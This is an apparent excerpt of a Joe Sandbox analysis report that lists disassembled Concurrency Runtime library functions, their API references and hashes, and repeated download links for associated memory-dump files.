Associated: 00000006.00000002.3294988378.0000000000407000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295045530.0000000000408000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295108835.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295191460.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295260165.0000000000416000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295325814.0000000000418000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295410775.0000000000419000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295496675.000000000041E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295605536.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295667034.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295734741.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295782648.000000000042E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295847085.000000000043F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295901019.0000000000440000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295958733.0000000000441000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.0000000000443000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.000000000046C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296198470.0000000000485000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296923976.0000000000486000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297085997.0000000000487000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297170705.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297259736.000000000049D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297348474.000000000049F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297408502.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297470944.00000000004A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297531165.00000000004A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297596635.00000000004B5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297661351.00000000004B6000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_190000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$ArrayListVirtual$ActiveAvailableBase::CountedInterlockedMakeProcessorProcessor::QuickReferenceSchedulerSet::
String ID:
API String ID: 4212520697-0
Opcode ID: 0278da69ba841b8574b0294994f437794425eb81651b2f94ec1e36adf929995a
Instruction ID: 08c487227755d66a14ffd8073993e8f1ac0663ea404cfa3c24d25e2833d0b8ef
Opcode Fuzzy Hash: 0278da69ba841b8574b0294994f437794425eb81651b2f94ec1e36adf929995a
Instruction Fuzzy Hash: 1F31AE75700210AFCB09EF54D885BEDB7E6BF88300F050199E8069F3A2EB70AD41CB92

Function 001B86C9 Relevance: 7.6, APIs: 5, Instructions: 88COMMON

Download Yara Rule

APIs

_SpinWait.LIBCONCRT ref: 001B86EE

Part of subcall function 001AEAD0: _SpinWait.LIBCONCRT ref: 001AEAE8

Concurrency::details::ContextBase::ClearAliasTable.LIBCONCRT ref: 001B8702
Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 001B8734
List.LIBCMT ref: 001B87B7
List.LIBCMT ref: 001B87C6

Memory Dump Source

Source File: 00000006.00000002.3289264345.0000000000191000.00000040.00000001.01000000.00000008.sdmp, Offset: 00190000, based on PE: true

Associated: 00000006.00000002.3289107438.0000000000190000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289264345.00000000001F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289818825.00000000001F9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289911017.00000000001FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290047679.0000000000205000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290167225.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290311791.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291362134.0000000000361000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291485880.0000000000363000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.0000000000371000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.000000000037D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3292969573.0000000000385000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293094986.0000000000387000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293236225.0000000000388000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293359413.0000000000389000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293505785.0000000000391000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293651961.0000000000392000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293779776.0000000000399000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293901819.000000000039B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294061382.00000000003AF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294182850.00000000003BD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294356300.00000000003BE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294443535.00000000003C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294488488.00000000003DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294531842.00000000003E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294594544.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294638728.00000000003EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294681658.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294772443.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294836463.00000000003FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294902860.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294988378.0000000000407000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295045530.0000000000408000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295108835.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295191460.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295260165.0000000000416000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295325814.0000000000418000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295410775.0000000000419000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295496675.000000000041E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295605536.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295667034.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295734741.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295782648.000000000042E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295847085.000000000043F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295901019.0000000000440000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295958733.0000000000441000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.0000000000443000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.000000000046C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296198470.0000000000485000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296923976.0000000000486000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297085997.0000000000487000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297170705.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297259736.000000000049D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297348474.000000000049F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297408502.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297470944.00000000004A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297531165.00000000004A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297596635.00000000004B5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297661351.00000000004B6000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_190000_skotes.jbxd

Yara matches

Similarity

API ID: ListSpinWait$AcquireAliasBase::ClearConcurrency::details::Concurrency::details::_ContextLock::_ReaderTableWriteWriter
String ID:
API String ID: 3281396844-0
Opcode ID: f7291bb6d227c1f1eaab87ba78446e52fcd8f3db1e51e9f4e420a62bd3fe57c7
Instruction ID: f8de7b81f079b5aaa7c82cb3671eedd734acaa639a4af42d83a46ff84367d662
Opcode Fuzzy Hash: f7291bb6d227c1f1eaab87ba78446e52fcd8f3db1e51e9f4e420a62bd3fe57c7
Instruction Fuzzy Hash: 20316636901655DFCB14EFA8C5816EDBBB5BF25B18F28006AD40177692CF31A904CB90

Function 001C182A Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 85COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 001C18A4
Concurrency::details::FreeVirtualProcessorRoot::SpinUntilIdle.LIBCONCRT ref: 001C18EB

Strings

pContext, xrefs: 001C189C

Memory Dump Source

Source File: 00000006.00000002.3289264345.0000000000191000.00000040.00000001.01000000.00000008.sdmp, Offset: 00190000, based on PE: true

Associated: 00000006.00000002.3289107438.0000000000190000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289264345.00000000001F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289818825.00000000001F9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289911017.00000000001FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290047679.0000000000205000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290167225.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290311791.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291362134.0000000000361000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291485880.0000000000363000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.0000000000371000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.000000000037D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3292969573.0000000000385000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293094986.0000000000387000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293236225.0000000000388000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293359413.0000000000389000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293505785.0000000000391000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293651961.0000000000392000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293779776.0000000000399000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293901819.000000000039B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294061382.00000000003AF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294182850.00000000003BD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294356300.00000000003BE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294443535.00000000003C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294488488.00000000003DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294531842.00000000003E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294594544.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294638728.00000000003EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294681658.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294772443.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294836463.00000000003FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294902860.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294988378.0000000000407000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295045530.0000000000408000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295108835.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295191460.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295260165.0000000000416000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295325814.0000000000418000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295410775.0000000000419000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295496675.000000000041E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295605536.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295667034.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295734741.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295782648.000000000042E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295847085.000000000043F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295901019.0000000000440000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295958733.0000000000441000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.0000000000443000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.000000000046C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296198470.0000000000485000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296923976.0000000000486000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297085997.0000000000487000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297170705.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297259736.000000000049D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297348474.000000000049F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297408502.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297470944.00000000004A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297531165.00000000004A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297596635.00000000004B5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297661351.00000000004B6000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_190000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProcessorRoot::SpinUntilVirtualstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 3390424672-2046700901
Opcode ID: 8f029d0093ee2b497752c988239b1d67f9463583c6aedfb69ad62ee41306931d
Instruction ID: fa394e0749a76bfbd780fa6a04d52cdd8f6fe8ac179d9d50d8041ed50dcfd9bc
Opcode Fuzzy Hash: 8f029d0093ee2b497752c988239b1d67f9463583c6aedfb69ad62ee41306931d
Instruction Fuzzy Hash: 27212935B84615BBCB19A768C895FBCB3A5BFB6324B04011EE501872D3CBA4EC41CB90

Function 001BAE65 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 80COMMON

Download Yara Rule

APIs

List.LIBCONCRT ref: 001BAEEA
std::invalid_argument::invalid_argument.LIBCONCRT ref: 001BAF0F
Concurrency::details::FreeVirtualProcessorRoot::FreeVirtualProcessorRoot.LIBCONCRT ref: 001BAF4E

Strings

pExecutionResource, xrefs: 001BAF07

Memory Dump Source

Source File: 00000006.00000002.3289264345.0000000000191000.00000040.00000001.01000000.00000008.sdmp, Offset: 00190000, based on PE: true

Associated: 00000006.00000002.3289107438.0000000000190000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289264345.00000000001F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289818825.00000000001F9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289911017.00000000001FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290047679.0000000000205000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290167225.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290311791.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291362134.0000000000361000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291485880.0000000000363000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.0000000000371000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.000000000037D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3292969573.0000000000385000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293094986.0000000000387000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293236225.0000000000388000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293359413.0000000000389000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293505785.0000000000391000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293651961.0000000000392000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293779776.0000000000399000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293901819.000000000039B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294061382.00000000003AF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294182850.00000000003BD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294356300.00000000003BE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294443535.00000000003C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294488488.00000000003DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294531842.00000000003E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294594544.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294638728.00000000003EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294681658.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294772443.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294836463.00000000003FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294902860.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294988378.0000000000407000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295045530.0000000000408000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295108835.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295191460.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295260165.0000000000416000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295325814.0000000000418000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295410775.0000000000419000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295496675.000000000041E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295605536.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295667034.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295734741.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295782648.000000000042E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295847085.000000000043F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295901019.0000000000440000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295958733.0000000000441000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.0000000000443000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.000000000046C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296198470.0000000000485000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296923976.0000000000486000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297085997.0000000000487000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297170705.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297259736.000000000049D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297348474.000000000049F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297408502.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297470944.00000000004A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297531165.00000000004A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297596635.00000000004B5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297661351.00000000004B6000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_190000_skotes.jbxd

Yara matches

Similarity

API ID: FreeProcessorVirtual$Concurrency::details::ListRootRoot::std::invalid_argument::invalid_argument
String ID: pExecutionResource
API String ID: 1772865662-359481074
Opcode ID: d1546ac26729dc7c2405079906d660a606f421a1f4033d295af6c4faf7ccfcb2
Instruction ID: 3d967aea567695e2f0fa7989fd18821c5aeb2dcf97625efcfeaa054af186c57e
Opcode Fuzzy Hash: d1546ac26729dc7c2405079906d660a606f421a1f4033d295af6c4faf7ccfcb2
Instruction Fuzzy Hash: 7521B6B96407059BCB08EFA4C892BEEB7A5BF58300F11401DF505AB782DBB0EE45CB91

Function 001B4EA2 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 74COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 001B4F24
Concurrency::details::CacheLocalScheduleGroupSegment::CacheLocalScheduleGroupSegment.LIBCONCRT ref: 001B4F66

Strings

count, xrefs: 001B4EBA
ppVirtualProcessorRoots, xrefs: 001B4F1C

Memory Dump Source

Source File: 00000006.00000002.3289264345.0000000000191000.00000040.00000001.01000000.00000008.sdmp, Offset: 00190000, based on PE: true

Associated: 00000006.00000002.3289107438.0000000000190000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289264345.00000000001F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289818825.00000000001F9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289911017.00000000001FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290047679.0000000000205000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290167225.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290311791.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291362134.0000000000361000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291485880.0000000000363000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.0000000000371000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.000000000037D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3292969573.0000000000385000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293094986.0000000000387000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293236225.0000000000388000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293359413.0000000000389000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293505785.0000000000391000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293651961.0000000000392000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293779776.0000000000399000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293901819.000000000039B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294061382.00000000003AF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294182850.00000000003BD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294356300.00000000003BE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294443535.00000000003C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294488488.00000000003DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294531842.00000000003E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294594544.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294638728.00000000003EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294681658.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294772443.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294836463.00000000003FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294902860.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294988378.0000000000407000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295045530.0000000000408000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295108835.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295191460.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295260165.0000000000416000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295325814.0000000000418000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295410775.0000000000419000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295496675.000000000041E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295605536.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295667034.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295734741.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295782648.000000000042E000.00000040.00000001.01000000.00000008.sdmpDownload File
